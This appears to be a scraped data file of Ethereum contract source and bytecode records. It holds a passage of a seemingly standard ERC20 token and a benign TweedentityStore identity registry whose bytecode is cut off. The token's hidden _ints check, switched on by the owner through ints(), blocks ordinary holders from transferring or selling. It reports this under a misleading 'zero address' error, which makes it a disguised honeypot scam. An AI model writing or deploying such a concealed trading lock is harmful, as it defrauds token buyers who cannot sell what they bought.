codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _Erc20Token(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200f0d0e7efe20074faf82f683d360fb2cd415d177893717744ad5274876207acd64736f6c63430006060033
{"success": true, "error": null, "results": {}}
424
0x95568c9d79f46e8048344e7319754aec4b1965d4
pragma solidity ^0.4.18; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol /** * @title Contracts that should not own Ether * @author Remco Bloemen <remco@2π.com> * @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up * in the contract, it will allow the owner to reclaim this ether. * @notice Ether can still be send to this contract by: * calling functions labeled `payable` * `selfdestruct(contract_address)` * mining directly to the contract address */ contract HasNoEther is Ownable { /** * @dev Constructor that rejects incoming Ether * @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we * leave out payable, then Solidity will allow inheriting contracts to implement a payable * constructor. By doing it this way we prevent a payable constructor from working. Alternatively * we could use assembly to access msg.value. */ function HasNoEther() public payable { require(msg.value == 0); } /** * @dev Disallows direct send by settings a default function without the `payable` flag. */ function() external { } /** * @dev Transfer all Ether held by the contract to the owner. */ function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } // File: contracts/TweedentityStore.sol /** * @title TweedentityStore * @author Francesco Sullo <francesco@sullo.co> * @dev It store the tweedentities related to the app */ contract TweedentityStore is HasNoEther { string public version = "1.3.0"; uint public appId; string public appNickname; uint public identities; address public manager; address public newManager; struct Uid { string lastUid; uint lastUpdate; } struct Address { address lastAddress; uint lastUpdate; } mapping(string => Address) internal __addressByUid; mapping(address => Uid) internal __uidByAddress; bool public appSet; // events event IdentitySet( address indexed addr, string uid ); event IdentityUnset( address indexed addr, string uid ); // modifiers modifier onlyManager() { require(msg.sender == manager || (newManager != address(0) && msg.sender == newManager)); _; } modifier whenAppSet() { require(appSet); _; } // config /** * @dev Sets the manager * @param _address Manager's address */ function setManager( address _address ) external onlyOwner { require(_address != address(0)); manager = _address; } /** * @dev Sets new manager * @param _address New manager's address */ function setNewManager( address _address ) external onlyOwner { require(_address != address(0) && manager != address(0)); newManager = _address; } /** * @dev Sets new manager */ function switchManagerAndRemoveOldOne() external onlyOwner { manager = newManager; newManager = address(0); } /** * @dev Sets the app * @param _appNickname Nickname (e.g. twitter) * @param _appId ID (e.g. 1) */ function setApp( string _appNickname, uint _appId ) external onlyOwner { require(!appSet); require(_appId > 0); require(bytes(_appNickname).length > 0); appId = _appId; appNickname = _appNickname; appSet = true; } // helpers /** * @dev Checks if a tweedentity is upgradable * @param _address The address * @param _uid The user-id */ function isUpgradable( address _address, string _uid ) public constant returns (bool) { if (__addressByUid[_uid].lastAddress != address(0)) { return keccak256(getUid(_address)) == keccak256(_uid); } return true; } // primary methods /** * @dev Sets a tweedentity * @param _address The address of the wallet * @param _uid The user-id of the owner user account */ function setIdentity( address _address, string _uid ) external onlyManager whenAppSet { require(_address != address(0)); require(isUid(_uid)); require(isUpgradable(_address, _uid)); if (bytes(__uidByAddress[_address].lastUid).length > 0) { // if _address is associated with an oldUid, // this removes the association between _address and oldUid __addressByUid[__uidByAddress[_address].lastUid] = Address(address(0), __addressByUid[__uidByAddress[_address].lastUid].lastUpdate); identities--; } __uidByAddress[_address] = Uid(_uid, now); __addressByUid[_uid] = Address(_address, now); identities++; IdentitySet(_address, _uid); } /** * @dev Unset a tweedentity * @param _address The address of the wallet */ function unsetIdentity( address _address ) external onlyManager whenAppSet { require(_address != address(0)); require(bytes(__uidByAddress[_address].lastUid).length > 0); string memory uid = __uidByAddress[_address].lastUid; __uidByAddress[_address] = Uid('', __uidByAddress[_address].lastUpdate); __addressByUid[uid] = Address(address(0), __addressByUid[uid].lastUpdate); identities--; IdentityUnset(_address, uid); } // getters /** * @dev Returns the keccak256 of the app nickname */ function getAppNickname() external whenAppSet constant returns (bytes32) { return keccak256(appNickname); } /** * @dev Returns the appId */ function getAppId() external whenAppSet constant returns (uint) { return appId; } /** * @dev Returns the user-id associated to a wallet * @param _address The address of the wallet */ function getUid( address _address ) public constant returns (string) { return __uidByAddress[_address].lastUid; } /** * @dev Returns the user-id associated to a wallet as a unsigned integer * @param _address The address of the wallet */ function getUidAsInteger( address _address ) external constant returns (uint) { return __stringToUint(__uidByAddress[_address].lastUid); } /** * @dev Returns the address associated to a user-id * @param _uid The user-id */ function getAddress( string _uid ) external constant returns (address) { return __addressByUid[_uid].lastAddress; } /** * @dev Returns the timestamp of last update by address * @param _address The address of the wallet */ function getAddressLastUpdate( address _address ) external constant returns (uint) { return __uidByAddress[_address].lastUpdate; } /** * @dev Returns the timestamp of last update by user-id * @param _uid The user-id */ function getUidLastUpdate( string _uid ) external constant returns (uint) { return __addressByUid[_uid].lastUpdate; } // utils function isUid( string _uid ) public pure returns (bool) { bytes memory uid = bytes(_uid); if (uid.length == 0) { return false; } else { for (uint i = 0; i < uid.length; i++) { if (uid[i] < 48 || uid[i] > 57) { return false; } } } return true; } // private methods function __stringToUint( string s ) internal pure returns (uint result) { bytes memory b = bytes(s); uint i; result = 0; for (i = 0; i < b.length; i++) { uint c = uint(b[i]); if (c >= 48 && c <= 57) { result = result * 10 + (c - 48); } } } function __uintToBytes(uint x) internal pure returns (bytes b) { b = new bytes(32); for (uint i = 0; i < 32; i++) { b[i] = byte(uint8(x / (2 ** (8 * (31 - i))))); } } }
0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063194c78d01461015657806328faf2171461018d57806342906029146101c657806344ae2c031461021b578063481c6a751461024c5780634ef8086a146102a1578063502fe251146102b657806354fd4d50146102f8578063686e177b14610386578063693dde5c1461041a57806369bdd5dd14610443578063778e55481461047057806380afdea8146104bd578063897cab17146104e65780638da5cb5b146105335780638ec5ff41146105885780639f727c27146105fd578063bf40fac114610612578063bf749b6a14610680578063bff5fb6414610732578063d0ebdbe7146107c0578063d30f945a146107f9578063de9f424814610832578063ed1865711461085b578063f2fde38b146108a8575b341561015457600080fd5b005b341561016157600080fd5b61018b600480803590602001908201803590602001919091929080359060200190919050506108e1565b005b341561019857600080fd5b6101c4600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109b2565b005b34156101d157600080fd5b6101d9610f55565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561022657600080fd5b61022e610f7b565b60405180826000191660001916815260200191505060405180910390f35b341561025757600080fd5b61025f611007565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102ac57600080fd5b6102b461102d565b005b34156102c157600080fd5b6102e26004808035906020019082018035906020019190919290505061112f565b6040518082815260200191505060405180910390f35b341561030357600080fd5b61030b611162565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034b578082015181840152602081019050610330565b50505050905090810190601f1680156103785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561039157600080fd5b610400600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611200565b604051808215151515815260200191505060405180910390f35b341561042557600080fd5b61042d6113ae565b6040518082815260200191505060405180910390f35b341561044e57600080fd5b6104566113d3565b604051808215151515815260200191505060405180910390f35b341561047b57600080fd5b6104a7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113e6565b6040518082815260200191505060405180910390f35b34156104c857600080fd5b6104d06114d2565b6040518082815260200191505060405180910390f35b34156104f157600080fd5b610531600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001919091929050506114d8565b005b341561053e57600080fd5b610546611af8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561059357600080fd5b6105e3600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611b1d565b604051808215151515815260200191505060405180910390f35b341561060857600080fd5b610610611cbb565b005b341561061d57600080fd5b61063e60048080359060200190820180359060200191909192905050611d8d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561068b57600080fd5b6106b7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611de0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f75780820151818401526020810190506106dc565b50505050905090810190601f1680156107245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561073d57600080fd5b610745611eca565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561078557808201518184015260208101905061076a565b50505050905090810190601f1680156107b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107cb57600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f68565b005b341561080457600080fd5b610830600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612043565b005b341561083d57600080fd5b610845612179565b6040518082815260200191505060405180910390f35b341561086657600080fd5b610892600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061217f565b6040518082815260200191505060405180910390f35b34156108b357600080fd5b6108df600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506121cb565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093c57600080fd5b600960009054906101000a900460ff1615151561095857600080fd5b60008111151561096757600080fd5b60008383905011151561097957600080fd5b806002819055508282600391906109919291906123f8565b506001600960006101000a81548160ff021916908315150217905550505050565b6109ba612478565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610abe5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610abd5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b5b1515610ac957600080fd5b600960009054906101000a900460ff161515610ae457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610b2057600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805460018160011615610100020316600290049050111515610b8557600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c5b5780601f10610c3057610100808354040283529160200191610c5b565b820191906000526020600020905b815481529060010190602001808311610c3e57829003601f168201915b50505050509050604080519081016040528060206040519081016040528060008152508152602001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154815250600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000019080519060200190610d2492919061248c565b50602082015181600101559050506040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016007836040518082805190602001908083835b602083101515610d925780518252602082019150602081019050602083039250610d6d565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600101548152506007826040518082805190602001908083835b602083101515610e045780518252602082019150602081019050602083039250610ddf565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155905050600460008154809291906001900391905055508173ffffffffffffffffffffffffffffffffffffffff167fbcf27d646501987f37d06dde232c521019931de1dc82a429d07e6a5f8b13c452826040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f17578082015181840152602081019050610efc565b50505050905090810190601f168015610f445780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900460ff161515610f9857600080fd5b60036040518082805460018160011615610100020316600290048015610ff55780601f10610fd3576101008083540402835291820191610ff5565b820191906000526020600020905b815481529060010190602001808311610fe1575b50509150506040518091039020905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108857600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006007838360405180838380828437820191505092505050908152602001604051809103902060010154905092915050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111f85780601f106111cd576101008083540402835291602001916111f8565b820191906000526020600020905b8154815290600101906020018083116111db57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffff